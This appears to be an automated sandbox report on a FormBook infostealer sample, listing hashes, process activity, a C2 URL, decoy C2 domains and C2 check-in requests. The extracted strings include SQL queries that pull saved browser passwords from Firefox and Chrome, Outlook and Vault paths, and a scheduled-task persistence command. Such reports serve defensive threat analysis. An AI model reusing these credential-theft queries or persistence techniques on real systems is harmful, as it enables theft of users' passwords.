| File name: | OOLU27169061523.exe |
| Full analysis: | https://app.any.run/tasks/2cffccbe-534f-45dc-80fc-7452c83e0b0b |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | April 23, 2025, 05:03:04 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | AAEA53E893DAB95857E1ECAAD78BB4FF |
| SHA1: | E3D61876BDC015FDFFD7A133B35CCFB39376FAA6 |
| SHA256: | 2ACF9E6CA3E414F19B3A3A121CE594E2D0A0C75584AA1239ECE006416296D6CF |
| SSDEEP: | 12288:WeMzK1BcikOf/SIt6ZNg+ZFrekCjSbODbeF92LDRzxW8g:WeN7kESIbBxxLzhg |
MALICIOUS
Uses Task Scheduler to run other applications
- OOLU27169061523.exe (PID: 7624)
FORMBOOK has been detected
- cmmon32.exe (PID: 6972)
- explorer.exe (PID: 5492)
Connects to the CnC server
- explorer.exe (PID: 5492)
FORMBOOK has been detected (YARA)
- cmmon32.exe (PID: 6972)
FORMBOOK has been detected (SURICATA)
- explorer.exe (PID: 5492)
SUSPICIOUS
Executable content was dropped or overwritten
- OOLU27169061523.exe (PID: 7624)
Reads security settings of Internet Explorer
- OOLU27169061523.exe (PID: 7624)
Deletes system .NET executable
- cmd.exe (PID: 5380)
Contacting a server suspected of hosting an CnC
- explorer.exe (PID: 5492)
Starts CMD.EXE for commands execution
- cmmon32.exe (PID: 6972)
INFO
Reads the machine GUID from the registry
- OOLU27169061523.exe (PID: 7624)
Checks supported languages
- OOLU27169061523.exe (PID: 7624)
- MSBuild.exe (PID: 7464)
Reads the computer name
- OOLU27169061523.exe (PID: 7624)
- MSBuild.exe (PID: 7464)
.NET Reactor protector has been detected
- OOLU27169061523.exe (PID: 7624)
Creates files or folders in the user directory
- OOLU27169061523.exe (PID: 7624)
Reads the software policy settings
- slui.exe (PID: 7736)
- slui.exe (PID: 2152)
Create files in a temporary directory
- OOLU27169061523.exe (PID: 7624)
Process checks computer location settings
- OOLU27169061523.exe (PID: 7624)
Manual execution by a user
- cmmon32.exe (PID: 6972)
Checks proxy server information
- slui.exe (PID: 2152)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Formbook
(PID) Process(6972) cmmon32.exe
C2www.sassnass.com/jy95/
Strings (79)USERNAME
LOCALAPPDATA
USERPROFILE
APPDATA
TEMP
ProgramFiles
CommonProgramFiles
ALLUSERSPROFILE
/c copy "
/c del "
\Run
\Policies
\Explorer
\Registry\User
\Registry\Machine
\SOFTWARE\Microsoft\Windows\CurrentVersion
Office\15.0\Outlook\Profiles\Outlook\
NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
\SOFTWARE\Mozilla\Mozilla
\Mozilla
Username:
Password:
formSubmitURL
usernameField
encryptedUsername
encryptedPassword
\logins.json
\signons.sqlite
\Microsoft\Vault\
SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins
\Google\Chrome\User Data\Default\Login Data
SELECT origin_url, username_value, password_value FROM logins
.exe
.com
.scr
.pif
.cmd
.bat
ms
win
gdi
mfc
vga
igfx
user
help
config
update
regsvc
chkdsk
systray
audiodg
certmgr
autochk
taskhost
colorcpl
services
IconCache
ThumbCache
Cookies
SeDebugPrivilege
SeShutdownPrivilege
\BaseNamedObjects
config.php
POST
HTTP/1.1
Host:
Connection: close
Content-Length:
Cache-Control: no-cache
Origin: http://
User-Agent: Mozilla Firefox/4.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://
Accept-Language: en-US
Accept-Encoding: gzip, deflate
dat=
f-start
f-end
Decoy C2 (64)do-si-dough.com
cchapmanganato.com
04it.icu
kawebdesign.site
oasisconnects.com
op091.com
psychicstandupcomedy.com
harveylee.online
x55568.com
orbinlopez.one
45745931.buzz
undiereleaseco.com
cludybot.net
sailtmtbar.com
siennashih.com
premintxyz.net
xn--bj4bt9j.com
giornalaiditalia.com
colorfullemonade.com
baddiebearz.com
xbkgstd.top
codecultr.com
muenols.xyz
creditors.online
xn--tecnologahbrida-cpbc.com
gotmot.com
physiowithamina.com
smartshoppinghub.store
magis-bo.com
ebayqerbaf.top
hospitalmode.com
strydasoles.store
savvieseller.com
arketha.com
biotherm159.online
fiveclost.sbs
nicholasthemarketer.com
coinpod.app
kassel-strafrecht.com
bbcbcb555.online
voxlinx.online
afm.ventures
yiniao.site
mrsmacksshortbread.com
crashcoursechatgpt.com
fetus.fun
forumconstructioninc.com
finanzas1.com
ussinners.com
conservingjudaism.live
surferscompass.com
blacklifecoachcompany.com
awadhsamachar.com
geektechtalks.com
cryptubank.accountants
hzqywzhs.com
kendradoggrooming.com
isbuae.com
taiyienergyhealing.com
oficial-site-promocao.com
parfermelha.store
digitalshop.biz
crackmyway.com
bretanastore.com
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (82.9) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (7.4) |
| .exe | | | Win32 Executable (generic) (5.1) |
| .exe | | | Generic Win/DOS Executable (2.2) |
| .exe | | | DOS Executable Generic (2.2) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2023:06:15 09:35:34+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 48 |
| CodeSize: | 1156608 |
| InitializedDataSize: | 70144 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x11c46a |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | - |
| CompanyName: | Microsoft |
| FileDescription: | QLQuanCF |
| FileVersion: | 1.0.0.0 |
| InternalName: | kUPxH.exe |
| LegalCopyright: | Copyright © Microsoft 2016 |
| LegalTrademarks: | - |
| OriginalFileName: | kUPxH.exe |
| ProductName: | QLQuanCF |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
139
Monitored processes
13
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 680 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 720 | "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UFOfUWrReFq" /XML "C:\Users\admin\AppData\Local\Temp\tmpC735.tmp" | C:\Windows\SysWOW64\schtasks.exe | — | OOLU27169061523.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2152 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5380 | /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\SysWOW64\cmd.exe | — | cmmon32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5492 | C:\WINDOWS\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6436 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | schtasks.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6972 | "C:\Windows\SysWOW64\cmmon32.exe" | C:\Windows\SysWOW64\cmmon32.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Monitor Version: 7.2.19041.1 (WinBuild.160101.0800) Modules
Formbook(PID) Process(6972) cmmon32.exe C2www.sassnass.com/jy95/ Strings (79)USERNAME LOCALAPPDATA USERPROFILE APPDATA TEMP ProgramFiles CommonProgramFiles ALLUSERSPROFILE /c copy " /c del " \Run \Policies \Explorer \Registry\User \Registry\Machine \SOFTWARE\Microsoft\Windows\CurrentVersion Office\15.0\Outlook\Profiles\Outlook\ NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ \SOFTWARE\Mozilla\Mozilla \Mozilla Username: Password: formSubmitURL usernameField encryptedUsername encryptedPassword \logins.json \signons.sqlite \Microsoft\Vault\ SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \Google\Chrome\User Data\Default\Login Data SELECT origin_url, username_value, password_value FROM logins .exe .com .scr .pif .cmd .bat ms win gdi mfc vga igfx user help config update regsvc chkdsk systray audiodg certmgr autochk taskhost colorcpl services IconCache ThumbCache Cookies SeDebugPrivilege SeShutdownPrivilege \BaseNamedObjects config.php POST HTTP/1.1 Host: Connection: close Content-Length: Cache-Control: no-cache Origin: http:// User-Agent: Mozilla Firefox/4.0 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http:// Accept-Language: en-US Accept-Encoding: gzip, deflate
dat= f-start f-end Decoy C2 (64)do-si-dough.com cchapmanganato.com 04it.icu kawebdesign.site oasisconnects.com op091.com psychicstandupcomedy.com harveylee.online x55568.com orbinlopez.one 45745931.buzz undiereleaseco.com cludybot.net sailtmtbar.com siennashih.com premintxyz.net xn--bj4bt9j.com giornalaiditalia.com colorfullemonade.com baddiebearz.com xbkgstd.top codecultr.com muenols.xyz creditors.online xn--tecnologahbrida-cpbc.com gotmot.com physiowithamina.com smartshoppinghub.store magis-bo.com ebayqerbaf.top hospitalmode.com strydasoles.store savvieseller.com arketha.com biotherm159.online fiveclost.sbs nicholasthemarketer.com coinpod.app kassel-strafrecht.com bbcbcb555.online voxlinx.online afm.ventures yiniao.site mrsmacksshortbread.com crashcoursechatgpt.com fetus.fun forumconstructioninc.com finanzas1.com ussinners.com conservingjudaism.live surferscompass.com blacklifecoachcompany.com awadhsamachar.com geektechtalks.com cryptubank.accountants hzqywzhs.com kendradoggrooming.com isbuae.com taiyienergyhealing.com oficial-site-promocao.com parfermelha.store digitalshop.biz crackmyway.com bretanastore.com | |||||||||||||||
| 7464 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | — | OOLU27169061523.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 7476 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | — | OOLU27169061523.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 4294967295 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
Total events
7 534
Read events
7 534
Write events
0
Delete events
0
Modification events
Executable files
1
Suspicious files
0
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7624 | OOLU27169061523.exe | C:\Users\admin\AppData\Roaming\UFOfUWrReFq.exe | executable | |
MD5:AAEA53E893DAB95857E1ECAAD78BB4FF | SHA256:2ACF9E6CA3E414F19B3A3A121CE594E2D0A0C75584AA1239ECE006416296D6CF | |||
| 7624 | OOLU27169061523.exe | C:\Users\admin\AppData\Local\Temp\tmpC735.tmp | xml | |
MD5:8CB14F4F89966BE70C40491E29151AF0 | SHA256:EC8F97F600C13C9F9CE3D4085E28194A136E4DF37736F8D2578549A2DE885805 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
53
DNS requests
25
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5492 | explorer.exe | GET | 404 | 49.13.77.253:80 | http://www.crashcoursechatgpt.com/jy95/?aV4xshxH=NCeHmzltM1I7C2PABMuJ4d76BJfZEONUmVHI5N2td1XMxwkAlH6enbqpc6QnZXTF/FSG&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 217.160.0.223:80 | http://www.harveylee.online/jy95/?aV4xshxH=LmITf+nYYQXutoe5g3bRh7vAfrz0hFKW0W7JNZ5N+CSymVPVe8mjX7Z/+7UG7GRaCUNG&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 145.223.106.199:80 | http://www.bretanastore.com/jy95/?aV4xshxH=nNRkeMaNCxTYLkaB9e2BKMS2Mi5LRMWVP8lSiwuAHTED7Z+xOGZgZuLvwYT4KVgxcqwG&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 49.13.77.253:80 | http://www.sassnass.com/jy95/?aV4xshxH=p/fdXeWhFCdmhjLLl3x6dIRDQ2o5FYrYwT/h/aNzOn8HKuGSmIbgcr/zgYmNVNPDm12G&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 3.33.130.190:80 | http://www.arketha.com/jy95/?aV4xshxH=g1wTg3UPqJBqFEF/LKo4RW0Trcw0fgr9hsdO+nU9eIHVWq2CcDT2KRkyl8fYcFRHRDFK&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 15.197.225.128:80 | http://www.isbuae.com/jy95/?aV4xshxH=DjpBpSOKlTTPCT6vCJQChzRCSgAWQQ9sh4OdyZTvFWnArqSJo6t1ks1DGmh2WZ+Fv7Lr&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 85.13.162.151:80 | http://www.afm.ventures/jy95/?aV4xshxH=swiWyUsLwQxQCfEyP0GzFBmkAzmuqeLDifC5cWA5rKOIKcJP0O4jFcIo3vQkuQYrNkBc&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 49.13.77.253:80 | http://www.strydasoles.store/jy95/?aV4xshxH=RYcVyd6Rs/xpcEaBVsPdf2rg6oQNR92KN4NFr4hCBtWFNBg9mqiUaUuER9UWPf/WaYKY&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
5492 | explorer.exe | GET | 404 | 43.250.142.117:80 | http://www.surferscompass.com/jy95/?aV4xshxH=4EJg39xZkAGZ01xLB6IqvfgqVbofNLa9U/ZJ5v+f8LLfrZHEtRFC3g+KgIATU9kyl5YX&kPK4sR=uvQX5LOX | unknown | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
8092 | SIHClient.exe | 4.175.87.197:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
8092 | SIHClient.exe | 13.85.23.206:443 | fe3cr.delivery.mp.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7736 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5492 | explorer.exe | 49.13.77.253:80 | www.crashcoursechatgpt.com | Hetzner Online GmbH | DE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
206.23.85.13.in-addr.arpa |
| unknown |
d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa |
| unknown |
activation-v2.sls.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
www.crashcoursechatgpt.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
5492 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |